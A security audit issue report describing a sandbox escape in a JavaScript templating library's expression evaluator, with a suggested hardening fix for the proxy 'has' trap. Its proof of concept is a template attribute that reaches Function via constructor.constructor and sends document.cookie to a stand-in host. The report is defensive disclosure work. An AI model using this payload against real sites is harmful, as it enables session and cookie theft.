Severity: 🟡 Medium (hardening; documented threat model treats template expressions as trusted)
Location
src/view/evaluate.ts:152-158 (proxy has trap), sinks at :192 (evaluate) and :225 (evaluateRaw).
Description
evaluate/evaluateRaw compile new Function('$ctx', 'with($ctx){ return (' + expression + '); }'). Because with resolves names via [[HasProperty]], and the lazy proxy's has trap returns prop in target (true for inherited Object.prototype members), an expression never needs anything in the context to escape:
bq-text="constructor.constructor('fetch(`//evil/?c=`+document.cookie)')()"
resolves constructor off the context's prototype chain, reaches Function, and runs arbitrary JS. Any app that mounts DOM whose bq-* attributes are influenced by external input (CMS content, an API returning markup later passed to createTemplate/mount, or innerHTML + mount) has full RCE, not just HTML injection.
This is documented as "equivalent to eval()", but the docs frame it as "similar to Vue/Alpine"; the constructor.constructor reachability via the permissive has trap is worth calling out and hardening.
Suggested fix
Harden the proxy has trap so inherited members do not resolve from the context object:
has(target, prop) {
if (typeof prop !== 'string') return Reflect.has(target, prop);
return Object.prototype.hasOwnProperty.call(target, prop);
}
Note this only covers evaluate (which uses the proxy); evaluateRaw runs with(context) on the raw object, so also consider blocking constructor/__proto__/prototype member access in the compiler and steering security-sensitive users to the AOT compiler build (CSP-unsafe-eval-free). See also the compiler-side hardening in the related "emit .constructor chains" issue.
Filed as part of a full-codebase security & correctness audit.
Severity: 🟡 Medium (hardening; documented threat model treats template expressions as trusted)
Location
src/view/evaluate.ts:152-158(proxyhastrap), sinks at:192(evaluate) and:225(evaluateRaw).Description
evaluate/evaluateRawcompilenew Function('$ctx', 'with($ctx){ return (' + expression + '); }'). Becausewithresolves names via[[HasProperty]], and the lazy proxy'shastrap returnsprop in target(true for inheritedObject.prototypemembers), an expression never needs anything in the context to escape:resolves
constructoroff the context's prototype chain, reachesFunction, and runs arbitrary JS. Any app that mounts DOM whosebq-*attributes are influenced by external input (CMS content, an API returning markup later passed tocreateTemplate/mount, orinnerHTML+ mount) has full RCE, not just HTML injection.This is documented as "equivalent to
eval()", but the docs frame it as "similar to Vue/Alpine"; theconstructor.constructorreachability via the permissivehastrap is worth calling out and hardening.Suggested fix
Harden the proxy
hastrap so inherited members do not resolve from the context object:Note this only covers
evaluate(which uses the proxy);evaluateRawrunswith(context)on the raw object, so also consider blockingconstructor/__proto__/prototypemember access in the compiler and steering security-sensitive users to the AOT compiler build (CSP-unsafe-eval-free). See also the compiler-side hardening in the related "emit.constructorchains" issue.Filed as part of a full-codebase security & correctness audit.